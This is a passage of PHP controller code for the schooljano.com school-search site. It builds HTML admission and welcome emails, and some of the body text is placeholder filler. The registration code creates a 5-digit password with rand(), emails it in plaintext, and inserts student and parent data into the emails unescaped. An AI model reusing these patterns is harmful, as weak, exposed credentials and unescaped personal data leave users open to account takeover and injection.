rgba(0, 0, 0, 0.1);">schooljano.com</td></tr><tr><td height = "10" width = "100%"></td></tr><tr><td class = "center" style = "font-size:16px; color:#ffffff; font-weight:normal; text-align:center;">India\'s best school search engine</td></tr><tr><td align="center" height="20" valign="top"></td></tr><tr><td align="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0" class="center"><tr><td align="center" style="background-color: #4cae4c; color: #ffffff; display: block; font-size: 16px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none;color:#ffffff;" target="_blank" title="Click to registered">SIGNUP TODAY !!</a></span></td></tr></table></td></tr></table></td></tr><tr><td height="40" valign="top">&nbsp;</td></tr></table> </td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="15" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" class="full-width collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" style="font-size:22px; color:#363B40; font-weight:normal; text-align:center;">Connect With Us</td></tr><tr><td height="15"></td></tr><tr><td align="center" class="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0"><tr><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/facebook.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/twitter.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/linkedin.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/google.png" width="32"></a></td></tr></table></td></tr></table></td></tr><tr><td height="15">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr style="background-color: #414242"><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td align="center" height="20" valign="top">&nbsp;</td></tr><tr><td valign="middle"><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td height="22" style="font-size:13px; font-weight: 500; color: #333;"><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Website : schooljano.com</a></span><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Email Us : info@schooljano.com</a></span><span style="text-decoration:none;color:#333;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Call Us : +91-9369 398 585</a></span></td></tr></table></td></tr><tr><td height="20">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #383939"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="4"></td></tr><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td valign="top"><span style="color:#aaa;font-size:11px;text-decoration:none;">India</span></td></tr></table></td></tr><tr><td height="4"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></body></html>'; $email1 = $student->email; $sub1 = 'Application for Admission'; $this->sendUserCredentialByEmail($email1, $msg1, $sub1); $msg2 = '<html><title>SchoolJano - Email</title><style type="text/css">#outlook a{padding: 0;}.ReadMsgBody{width: 100%;}.ExternalClass{width: 100%;}.ExternalClass{line-height: 100%;}.ExternalClass p{line-height: 100%;}.ExternalClass span{line-height: 100%;}.ExternalClass font{line-height: 100%;}.ExternalClass td{line-height: 100%;}.ExternalClass div{line-height: 100%;}body{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}table{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}td{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}p{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}a{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}li{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}blockquote{-webkit-text-size-adjust: 100%;-ms-text-size-adjust: 100%;font-family: "Arial", Helvetica, sans-serif;}table{mso-table-lspace: 0pt;mso-table-rspace: 0pt;}td{mso-table-lspace: 0pt;mso-table-rspace: 0pt;}img{-ms-interpolation-mode: bicubic;}body{margin: 0;padding: 0;}img{border: 0;height: auto;line-height: 100%;outline: none;text-decoration: none;}table{border-collapse: collapse !important;}body{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}#bodyTable{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}#bodyCell{height: 100% !important;margin: 0;padding: 0;width: 100% !important;}@media only screen and (max-width: 640px){body{width: auto!important;}table[class="container"]{width: 100%!important;padding-left: 20px!important;padding-right: 20px!important;}table[class="body"]{width: 100%!important;}table[class="row"]{width: 100% !important;}td[class="side-pad"]{padding-left: 20px !important;padding-right: 20px !important;}.img-responsive{width: 100% !important;}.img-center{margin: 0 auto !important;}}@media only screen and (max-width: 589px){table[class="body"] .collapse{width: 100% !important;}table[class="body"] .column{width: 100% !important;display: block !important;}.center{text-align: center !important;}table[class="body"] .logo{margin-bottom: 10px;}table[class="body"] .remove{display: none !important;}}</style></head><body bgcolor="#DDDDDD"><table border="0" cellpadding="0" cellspacing="0" style="background-color: #DDDDDD" width="100%"><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt;" width="640"><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="20">&nbsp;</td></tr><tr><td valign="middle"><table align="left" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td><img alt=" class="logo" height="21" src="' . base_url() . 'assets/front/img-email/logo.jpg" width="135"></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="5" valign="top">&nbsp;</td></tr><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column" valign="top" width="280"><table border="0" cellpadding="0" cellspacing="0" class="collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td><img class="img-responsive" src="' . base_url() . 'assets/front/img-email/schooljano-banner.png" style="display: block;"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #333;"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="5">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td height="30"></td></tr><tr><td class="center" style="font-size:22px; color:#363B40; text-align:center; line-height: normal;">Student Application Form</td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:left; line-height: 24px;" valign="top">Dear Principal,</td></tr><tr><td class="center" style="font-size:15px; color:#363B40; font-weight:600; text-align:left; line-height: 24px; " valign="top">' . $schooldetail->school_name . '</td></tr><tr><td class="center" style="font-size:14px; color:#363B40; font-weight:normal; text-align:left;" valign="top">' . $schooldetail->cityname . ', ' . $schooldetail->statename . '</td></tr><tr><td class="center" style="font-size:14px; color:#363B40; font-weight:normal; text-align:right; padding-right: 5px;" valign="top">Date : ' . $date . '</td></tr><tr><td height="15"></td></tr><tr><td class="center" style="font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign="top">jkashd a faksf kaks fkl aksfklajslfjklaj sklf jla slfj la jlsfj las;fkl;as ;fk;askf;kals;k f;l kas;f ;a;sf ;la sfl; kasl;fk</td></tr><tr><td height="30"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="3" style="padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Student Details</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Student Name</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Date of Birth</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Interested in Class</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->stu_name . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->dob . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $class . '</td></tr></table></td></tr><tr><td height="15"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="3" style="padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Guardian Details</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father\'s Name</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father’s Qualification</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Father’s Occupation</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_name . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_quali . '</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_occupation . '</td></tr><tr><td colspan="3" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Name</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Qualification</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Mother’s Occupation</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_name . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_quali . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mother_occupation . '</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Nationality</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Social Category</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 200px;">Domicile</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->nationality . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->category . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->domicile . '</td></tr></table></td></tr><tr><td height = "15"></td></tr><tr><td valign = "top" width = "100%"><table width = "100%" border = "1" cellpadding = "0" cellspacing = "0" class = "collapse" style = "background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan = "3" style = "padding: 5px; background-color: #f7c52d; color: #3a3a3a; font-size:18px; font-weight: normal;">Contact Details</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 300px;">Email ID</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">Official Phone</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">Mobile Number</td></tr><tr><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->father_email . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->office_phone . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->mobile . '</td></tr><tr><td colspan = "3" height = "6"></td></tr><tr><td colspan = "2" style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 300px;">Present Address</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#6a6a6a; font-weight:normal; width: 150px;">PIN Code</td></tr><tr><td colspan = "2" style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->address . '</td><td style = "padding: 5px; font-size:14px; line-height:22px; color:#3a3a3a; font-weight:bold;">' . $student->pincode . '</td></tr></table></td></tr><tr><td height = "30"></td></tr><tr><td align = "center" class = "side-pad" style = "background-color: #f7c52d"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "container" width = "620"><tr><td align = "center"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "row" width = "600"><tr><td height = "15">&nbsp; </td></tr><tr><td valign = "middle"><table border = "0" cellpadding = "0" cellspacing = "0" width = "100%"><tr><td align = "left" class = "column center" style = "color: #333; font-weight: bold; font-size: 16px;" valign = "middle" width = "440">Please click here to know more about this student</td><td class = "column" width = "20">&nbsp; </td><td align = "right" class = "column center" valign = "top" width = "140"><table align = "right" border = "0" cellpadding = "0" cellspacing = "0" class = "collapse center" width = "100%"><tr><td align = "center" style = "background-color: #00b443; border-bottom: 1px solid #008e35; color: #ffffff; display: block; font-size: 14px; padding: 8px 18px; vertical-align: middle"><span style = "text-decoration:none;color:#ffffff;"><a href = "' . base_url() . '" style = "text-decoration:none; color:#ffffff !important; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);" target = "_blank" title = "Online Student\'s Details"><strong>Know More </strong></a></span></td></tr></table></td></tr></table></td></tr><tr><td height = "15"></td></tr></table></td></tr></table></td></tr><tr><td height = "30"></td></tr><tr><td class = "center" style = "font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign = "top">Lorem, tincidunt sed mauris vel, lobortis tempor lorem. Pellentesque ac lacus iaculis erat esa vitae euismod. Condimentum in tortor at, porttitor.</td></tr><tr><td height = "15"></td></tr><tr><td class = "center" style = "font-size:16px; color:#363B40; font-weight:normal; text-align:right;" valign = "top">Yours Sincerely</td></tr><tr><td height = "30"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align = "center" class = "side-pad" style = "background-color: #222222; background-image: url(\'images/business-bg.jpg\');"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "container" width = "620"><tr><td align = "center"><table align = "center" border = "0" cellpadding = "0" cellspacing = "0" class = "row" width = "600"><tr><td><table border = "0" cellpadding = "0" cellspacing = "0" width = "100%"><tr><td align = "center" height = "40" valign = "top">&nbsp; </td></tr><tr><td valign = "top"><table align = "left" border = "0" cellpadding = "0" cellspacing = "0" style = "mso-table-lspace:0;mso-table-rspace:0;" width = "100%"><tr><td class = "center" colspan = "3" style = "font-size:30px; color:#ffffff; text-align:center; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);">schooljano.com</td></tr><tr><td height = "10" width = "100%"></td></tr><tr><td class = "center" style = "font-size:16px; color:#ffffff; font-weight:normal; text-align:center;">India\'s best school search engine</td></tr><tr><td align="center" height="20" valign="top"></td></tr><tr><td align="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0" class="center"><tr><td align="center" style="background-color: #4cae4c; color: #ffffff; display: block; font-size: 16px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none;color:#ffffff;" target="_blank" title="Click to registered">SIGNUP TODAY !!</a></span></td></tr></table></td></tr></table></td></tr><tr><td height="40" valign="top">&nbsp;</td></tr></table> </td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="15" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" class="full-width collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" style="font-size:22px; color:#363B40; font-weight:normal; text-align:center;">Connect With Us</td></tr><tr><td height="15"></td></tr><tr><td align="center" class="center" valign="top"><table align="center" border="0" cellpadding="0" cellspacing="0"><tr><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/facebook.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/twitter.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/linkedin.png" width="32"></a></td><td align="center" width="12">&nbsp;</td><td align="center"><a href="#"><img height="32" src="' . base_url() . 'assets/front/img-email/google.png" width="32"></a></td></tr></table></td></tr></table></td></tr><tr><td height="15">&nbsp;</td></tr></table></td></tr></table></td></tr></table></td></tr><tr style="background-color: #414242"><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td align="center" height="20" valign="top">&nbsp;</td></tr><tr><td valign="middle"><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td height="22" style="font-size:13px; font-weight: 500; color: #333;"><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Website : schooljano.com</a></span><span style="text-decoration:none;color:#333; margin-right: 20px;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Email Us : info@schooljano.com</a></span><span style="text-decoration:none;color:#333;"><a href="' . base_url() . '" style="text-decoration:none;color:#333;">Call Us : +91-9369 398 585</a></span></td></tr></table></td></tr><tr><td height="20">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #383939"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="4"></td></tr><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td valign="top"><span style="color:#aaa;font-size:11px;text-decoration:none;">India</span></td></tr></table></td></tr><tr><td height="4"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></body></html>'; $email2 = $schooldetail->email; $sub2 = 'Application for Admission'; $this->sendUserCredentialByEmail($email2, $msg2, $sub2); //die('test'); } $this->session->set_flashdata('msg', 'Course Applied sucessfully. Details has been sent to your email.'); redirect('Front/index'); } public function sendUserCredentialByEmail($email = '', $msg = '', $sub = '') { // $msg = 'You can login with your new information.Your username is ' . $email . ' and password is ' . $pass; $config['mailtype'] = 'html'; $this->email->initialize($config); $this->email->from('school@schooljano.com', 'Admin'); $this->email->to($email); $this->email->subject($sub); $this->email->message($msg); return $this->email->send(); } public function schoolRegister() { //print_r($_POST);die; $email = $this->input->post('email'); $mobile = $this->input->post('mobile'); $name = $this->input->post('name'); $pass = rand(10000, 99999); $res = $this->front_model->schoolRegister($name, $email, $mobile, $pass); //echo 'registered'.$res; if ($res ==true) { $msg = '<html><head><style type="text/css">#outlook a{padding:0}.ReadMsgBody{width:100%}.ExternalClass{width:100%}.ExternalClass{line-height:100%}.ExternalClass p{line-height:100%}.ExternalClass span{line-height:100%}.ExternalClass font{line-height:100%}.ExternalClass td{line-height:100%}.ExternalClass div{line-height:100%}body{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}table{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}td{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}p{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}a{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}li{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}blockquote{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;font-family:"Arial",Helvetica,sans-serif}table{mso-table-lspace:0pt;mso-table-rspace:0pt}td{mso-table-lspace:0pt;mso-table-rspace:0pt}img{-ms-interpolation-mode:bicubic}body{margin:0;padding:0}img{border:0;height:auto;line-height:100%;outline:none;text-decoration:none}table{border-collapse:collapse !important}body{height:100% !important;margin:0;padding:0;width:100% !important}#bodyTable{height:100% !important;margin:0;padding:0;width:100% !important}#bodyCell{height:100% !important;margin:0;padding:0;width:100% !important}@media only screen and (max-width: 640px){body{width:auto!important}table[class="container"]{width:100%!important;padding-left:20px!important;padding-right:20px!important}table[class="body"]{width:100%!important}table[class="row"]{width:100% !important}td[class="side-pad"]{padding-left:20px !important;padding-right:20px !important}.img-responsive{width:100% !important}.img-center{margin:0 auto !important}}@media only screen and (max-width: 589px){table[class="body"] .collapse{width:100% !important}table[class="body"] .column{width:100% !important;display:block !important}.center{text-align:center !important}table[class="body"] .logo{margin-bottom:10px}table[class="body"] .remove{display:none !important}}</style></head><body bgcolor="#DDDDDD"><table border="0" cellpadding="0" cellspacing="0" style="background-color: #DDDDDD" width="100%"><tr><td><table align="center" border="0" cellpadding="0" cellspacing="0" class="body" style="border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt;" width="640"><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="20">&nbsp;</td></tr><tr><td valign="middle"><table align="left" border="0" cellpadding="0" cellspacing="0" class="collapse center"><tr><td><img alt=" class="logo" height="21" src="' . base_url() . 'assets/front/img-email/logo.jpg" width="135"></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="5" valign="top">&nbsp;</td></tr><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column" valign="top" width="280"><table border="0" cellpadding="0" cellspacing="0" class="collapse" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td><img class="img-responsive" src="' . base_url() . 'assets/front/img-email/schooljano-banner.png" style="display: block;"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #333;"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="5">&nbsp;</td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #ffffff"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td height="30"></td></tr><tr><td class="center" style="font-size:22px; color:#363B40; text-align:center; line-height: normal;">Welcome to SchoolJano<tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:left; line-height: 26px;" valign="top">Dear User,' . $name . '</td></tr><tr><td height="15"></td></tr><tr><td class="center" style="font-size:16px; color:#4e4e4e; font-weight:500; text-align:left; line-height:20px;" valign="top">Thank you very much for joining us, "Schooljeno.com" is a great search engine for learning the school in India, where you can search, compare & view details of school.</td></tr><tr><td height="30"></td></tr><tr><td valign="top" width="100%"><table width="100%" border="1" cellpadding="0" cellspacing="0" class="collapse" style="background: #ffffff; border-collapse:collapse; mso-table-lspace:0pt; mso-table-rspace:0pt; border: 1px solid #dddddd; font-family: Arial, Helvetica, sans-serif; text-align: left;"><tr><td colspan="2" style="padding: 5px; background-color: #f7c52d; color: #5a5a5a; font-size:15px; font-weight:bold;">User Login Details</td></tr><tr><td colspan="2" height="6"></td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#7a7a7a; font-weight:bold;; width: 200px;">User ID</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#5a5a5a; font-weight:bold;">' . $email . '</td></tr><tr><td style="padding: 5px; font-size:14px; line-height:22px; color:#7a7a7a; font-weight:bold;;width: 200px;">Password</td><td style="padding: 5px; font-size:14px; line-height:22px; color:#5a5a5a; font-weight:bold;">' . $pass . '</td></tr></table></td></tr><tr><td height="30"></td></tr><tr><td align="center" class="side-pad" style="background-color: #f7c52d"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td height="15">&nbsp;</td></tr><tr><td valign="middle"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="left" class="column center" style="color: #333; font-weight: bold; font-size: 16px;" valign="middle" width="440">Click here to know more ..</td><td class="column" width="20">&nbsp;</td><td align="right" class="column center" valign="top" width="140"><table align="right" border="0" cellpadding="0" cellspacing="0" class="collapse center" width="100%"><tr><td align="center" style="background-color: #00b443; border-bottom: 1px solid #008e35; color: #ffffff; display: block; font-size: 14px; padding: 8px 18px; vertical-align: middle"><span style="text-decoration:none;color:#ffffff;"><a href="' . base_url() . '" style="text-decoration:none; color:#ffffff !important; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);" target="_blank" title="Click to login"><strong>Login</strong></a></span></td></tr></table></td></tr></table></td></tr><tr><td height="15"></td></tr></table></td></tr></table></td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:14px; color:#4e4e4e; font-weight:normal; text-align:left; line-height:20px;" valign="top">Lorem, tincidunt sed mauris vel, lobortis tempor lorem. Pellentesque ac lacus iaculis erat esa vitae euismod. Condimentum in tortor at, porttitor.</td></tr><tr><td height="30"></td></tr><tr><td class="center" style="font-size:16px; color:#363B40; font-weight:normal; text-align:right;" valign="top">Yours Sincerely</td></tr><tr><td height="10"></td></tr><tr><td class="center" style="font-size:14px; color:#363B40; font-weight:bold; text-align:right;" valign="top">(Team-School Jano)</td></tr><tr><td height="30"></td></tr></table></td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td align="center" class="side-pad" style="background-color: #222222; background-image: url("images/business-bg.jpg");"><table align="center" border="0" cellpadding="0" cellspacing="0" class="container" width="620"><tr><td align="center"><table align="center" border="0" cellpadding="0" cellspacing="0" class="row" width="600"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr><td align="center" height="40" valign="top">&nbsp;</td></tr><tr><td valign="top"><table align="left" border="0" cellpadding="0" cellspacing="0" style="mso-table-lspace:0;mso-table-rspace:0;" width="100%"><tr><td class="center" colspan="3" style="font-size:30px; color:#ffffff; text-align:center; text-shadow: 0 2px 0 rgba(0, 0, 0, 0.1);">schooljano.com</td></tr><tr><td height="10" width="100%"></td></tr><tr><td class="center" style="font-size:16px; color:#ffffff; font-weight:normal; text-align:center;">India\'s best school search engine</td></tr><tr><td align="center" height="20" valign="top"></td></tr><tr><td align="center" valign="top"><table align="center" border="0" cellpadding="0" 